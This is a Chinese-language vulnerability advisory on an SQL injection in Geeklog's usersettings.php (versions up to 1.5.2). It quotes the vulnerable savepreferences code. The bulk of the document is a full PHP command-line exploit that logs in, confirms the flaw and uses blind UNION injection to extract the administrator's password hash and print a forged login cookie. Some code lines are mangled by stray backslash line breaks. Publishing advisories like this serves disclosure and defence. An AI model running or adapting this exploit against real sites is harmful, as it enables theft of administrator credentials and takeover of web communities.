安全研究
安全漏洞
Geeklog usersettings.php模块SQL注入漏洞
发布日期:2009-04-16
更新日期:2009-04-17
受影响系统:
Geeklog geeklog <= 1.5.2描述:
BUGTRAQ ID: 34553
Geeklog是一个免费的、开放源码的Web应用程序。它可以使用户创建一个虚拟的社区,可以管理用户,张贴文章等。Geeklog采用PHP实现,以MySQL为后台数据库。
Geeklog的usersettings.php文件中的1467 - 1480行中存在SQL注入漏洞:
...
if (isset ($_USER['uid']) && ($_USER['uid'] > 1)) {
switch ($mode) {
case 'saveuser':
savepreferences ($_POST);
$display .= saveuser($_POST);
PLG_profileExtrasSave ();
break;
case 'savepreferences':
savepreferences ($_POST);
$display .= COM_refresh ($_CONF['site_url']
. '/usersettings.php?mode=preferences&msg=6');
break;
...
所有的$_POST[]变量都直接传送给了savepreferences()函数:
...
function savepreferences($A) {
global $_CONF, $_TABLES, $_USER;
if (isset ($A['noicons']) && ($A['noicons'] == 'on')) {
$A['noicons'] = 1;
} else {
$A['noicons'] = 0;
}
if (isset ($A['willing']) && ($A['willing'] == 'on')) {
$A['willing'] = 1;
} else {
$A['willing'] = 0;
}
if (isset ($A['noboxes']) && ($A['noboxes'] == 'on')) {
$A['noboxes'] = 1;
} else {
$A['noboxes'] = 0;
}
if (isset ($A['emailfromadmin']) && ($A['emailfromadmin'] == 'on')) {
$A['emailfromadmin'] = 1;
} else {
$A['emailfromadmin'] = 0;
}
if (isset ($A['emailfromuser']) && ($A['emailfromuser'] == 'on')) {
$A['emailfromuser'] = 1;
} else {
$A['emailfromuser'] = 0;
}
if (isset ($A['showonline']) && ($A['showonline'] == 'on')) {
$A['showonline'] = 1;
} else {
$A['showonline'] = 0;
}
$A['maxstories'] = COM_applyFilter ($A['maxstories'], true);
if (empty ($A['maxstories'])) {
$A['maxstories'] = 0;
} else if ($A['maxstories'] > 0) {
if ($A['maxstories'] < $_CONF['minnews']) {
$A['maxstories'] = $_CONF['minnews'];
}
}
$TIDS = @array_values($A[$_TABLES['topics']]);
$AIDS = @array_values($A['selauthors']);
$BOXES = @array_values($A["{$_TABLES['blocks']}"]); //<--------- this is $_POST[(prefix)blocks] $ETIDS = @array_values($A['etids']);
$tids = '';
if (sizeof ($TIDS) > 0) {
$tids = addslashes (implode (' ', $TIDS));
}
$aids = '';
if (sizeof ($AIDS) > 0) {
$aids = addslashes (implode (' ', $AIDS));
}
$selectedblocks = '';
if (count ($BOXES) > 0) {
$boxes = addslashes (implode (',', $BOXES)); //<---------- this addslashes() is totally unuseful
//**** SQL INJECTION HERE *** $boxes is not surrounded by quotes!
$blockresult = DB_query("SELECT bid,name FROM {$_TABLES['blocks']} WHERE bid NOT IN ($boxes)");
$numRows = DB_numRows($blockresult);
for ($x = 1; $x <= $numRows; $x++) {
$row = DB_fetchArray ($blockresult);
if ($row['name'] <> 'user_block' AND $row['name'] <> 'admin_block' AND $row['name'] <> 'section_block') { $selectedblocks .= $row['bid'];
if ($x <> $numRows) {
$selectedblocks .= ' ';
}
}
}
}
...
<*来源:bookoo
链接:http://marc.info/?l=bugtraq&m=123989621024916&w=2
http://secunia.com/advisories/34765/
*>
测试方法:
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
$err[0] = "[!] This script is intended to be launched from the cli!";
$err[1] = "[!] You need the curl extesion loaded!";
if (php_sapi_name() <> "cli") {
die($err[0]);
}
if (!extension_loaded('curl')) {
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :
false;
if ($win) {
!dl("php_curl.dll") ? die($err[1]) :
nil;
} else {
!dl("php_curl.so") ? die($err[1]) :
nil;
}
}
function syntax() {
print (
"Syntax: php ".$argv[0]." [host] [path] [user] [pass] [OPTIONS] \n". \
"Options: \n". \
"--c:[uid:hash ] - use your user cookie, instead of uses/pwd pair \n". \
"--port:[port] - specify a port \n". " \
default->80 \n". "--uid:[n] - specify \
an uid other than default (2,usually admin)\n". "--proxy:[host:port] - use proxy \
\n". "--skiptest - skip preliminary tests \n". \
"--test - run only tests \n". \
"Examples: php ".$argv[0]." 192.168.0.1 /geeklog/ bookoo pass \n". " \
php ".$argv[0]." 192.168.0.1 / bookoo pass --proxy:1.1.1.1:8080\n". " php \
".$argv[0]." 192.168.0.1 / bookoo pass --uid:3 \n". " php \
".$argv[0]." 192.168.0.1 /geeklog/ * * -c:3:5f4dcc3b5aa765d61d8327deb882cf99");
die();
}
error_reporting(E_ALL ^ E_NOTICE);
$host = $argv[1];
$path = $argv[2];
$_user = $argv[3];
$_pwd = $argv[4];
//default
$uid = "2";
$where = "uid=$uid"; //user id, usually admin, anonymous = 1
$argv[4] ? print("[*] Attacking...\n") :
syntax();
$_use_proxy = false;
$port = 80;
$_skiptest = false;
$_test = false;
$_use_ck = false;
for ($i = 3; $i < $argc; $i++) {
if (stristr($argv[$i], "--proxy:")) {
$_use_proxy = true;
$tmp = explode(":", $argv[$i]);
$proxy_host = $tmp[1];
$proxy_port = (int)$tmp[2];
}
if (stristr($argv[$i], "--port:")) {
$tmp = explode(":", $argv[$i]);
$port = (int)$tmp[1];
}
if (stristr($argv[$i], "--uid")) {
$tmp = explode(":", $argv[$i]);
$uid = (int)$tmp[1];
$where = "uid=$uid";
}
if (stristr($argv[$i], "--skiptest")) {
$_skiptest = true;
}
if (stristr($argv[$i], "--test")) {
$_test = true;
}
if (stristr($argv[$i], "--c")) {
$_use_ck = true;
$tmp = explode(":", $argv[$i]);
$tmp[1] = (int)$tmp[1];
$cookies = "geeklog=".$tmp[1]."; password=".$tmp[2].";";
}
}
function _s($url, $ck, $is_post, $request) {
global $_use_proxy, $proxy_host, $proxy_port;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
if ($is_post) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $request."\r\n");
}
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; \
it; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7"); curl_setopt($ch, CURLOPT_TIMEOUT, \
0); curl_setopt($ch, CURLOPT_HEADER, 1);
$cookies = array("Cookie: ".$ck);
curl_setopt($ch, CURLOPT_HTTPHEADER, $cookies);
if ($_use_proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);
}
$_d = curl_exec($ch);
if (curl_errno($ch)) {
die("[!] ".curl_error($ch)."\n");
} else {
curl_close($ch);
}
return $_d;
}
function chk_err($s) {
if (stripos ($s, \
"\x41\x6e\x20\x53\x51\x4c\x20\x65\x72\x72\x6f\x72\x20\x68\x61\x73\x20\x6f\x63\x63\x75\ \
x72\x72\x65\x64")) { return true;
} else {
return false;
}
}
function run_test() {
global $host, $port, $path, $cookies, $url, $prefix;
$_sql = ")";
$out = _s($url, $cookies, 1, \
"mode=savepreferences&".$prefix."blocks[0]=".urlencode($_sql)."&"); if \
(chk_err($out)) { print("[*] Vulnerable!\n");
} else {
die ("[!] Not vulnerable ...");
}
}
function login() {
global $host, $port, $path, $_user, $_pwd;
$url = "http://$host:$port".$path."users.php";
$out = _s($url, "", 1, "loginname=$_user&passwd=$_pwd&submit=Login");
$tmp = explode("\x0d\x0a\x0d\x0a", $out);
$tmp = explode("\x53\x65\x74\x2d\x43\x6f\x6f\x6b\x69\x65\x3a\x20", $tmp[0]);
$cookies = "";
for ($i = 1; $i < count($tmp); $i++) {
$tmp_i = explode(";", $tmp[$i]);
$cookies .= $tmp_i[0]."; ";
}
if (stripos ($cookies, "\x70\x61\x73\x73\x77\x6f\x72\x64")) {
return $cookies;
} else {
die("[*] Unable to login!");
}
}
function xtrct_prefix() {
global $host, $port, $path, $cookies, $url;
$out = _s($url, $cookies, 0, "");
$tmp = explode("\x62\x6c\x6f\x63\x6b\x73\x5b\x5d", $out);
if (count($tmp) < 2) {
die("[!] Not logged in!");
}
$tmp = explode("\x22", $tmp[0]);
$prefix = $tmp[count($tmp)-1];
return $prefix;
}
function is_checked() {
global $host, $port, $path, $cookies, $url;
$out = _s($url, $cookies, 0, "");
$tmp = explode("\x62\x6c\x6f\x63\x6b\x73\x5b\x5d", $out);
$tmp = explode("\x3e", $tmp[1]);
$s = $tmp[0];
if (stripos ($s, "\x22\x63\x68\x65\x63\x6b\x65\x64\x22")) {
return 1;
} else {
return 0;
}
}
if (!$_use_ck) {
$cookies = login();
}
$url = "http://$host:$port".$path."usersettings.php";
$prefix = xtrct_prefix();
print "[*] prefix->'".$prefix."'\n";
if (!$_skiptest) {
run_test();
}
if ($_test) {
die;
}
#uncheck all boxes
$rst_sql = "0) AND 0 UNION SELECT 1,0x61646d696e5f626c6f636b FROM \
".$prefix."users WHERE ".$where." LIMIT 1/*"; $out = _s($url, $cookies, 1, \
"mode=savepreferences&".$prefix."blocks[0]=".urlencode($rst_sql)."&"); #then start \
extraction $c = array();
$c = array_merge($c, range(0x30, 0x39));
$c = array_merge($c, range(0x61, 0x66));
$url = "http://$host:$port".$path;
$_hash = "";
print ("[*] Initiating hash extraction ...\n");
for ($j = 1; $j < 0x21; $j++) {
for ($i = 0; $i <= 0xff; $i++) {
$f = false;
if (in_array($i, $c)) {
$sql = "0) AND 0 UNION SELECT 1,IF(ASCII(SUBSTR(passwd FROM $j FOR \
1))=$i,1,0x61646d696e5f626c6f636b) FROM ".$prefix."users WHERE ".$where." LIMIT 1/*"; \
$url = "http://$host:$port".$path."usersettings.php";
$out = _s($url, $cookies, 1, \
"mode=savepreferences&".$prefix."blocks[0]=".urlencode($sql)."&"); if (is_checked()) \
{ $f = true;
$_hash .= chr($i);
print "[*] Md5 Hash: ".$_hash.str_repeat("?", 0x20-$j)."\n";
#if found , uncheck again
$out = _s($url, $cookies, 1, \
"mode=savepreferences&".$prefix."blocks[0]=".urlencode($rst_sql)."&"); break;
}
}
}
if ($f == false) {
die("\n[!] Unknown error ...");
}
}
print "[*] Done! Cookie: geeklog=$uid; password=".$_hash.";\n";
?>
建议:
厂商补丁:
Geeklog
-------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://geeklog.sourceforge.net/
浏览次数:3795
严重程度:0(网友投票)
绿盟科技给您安全的保障
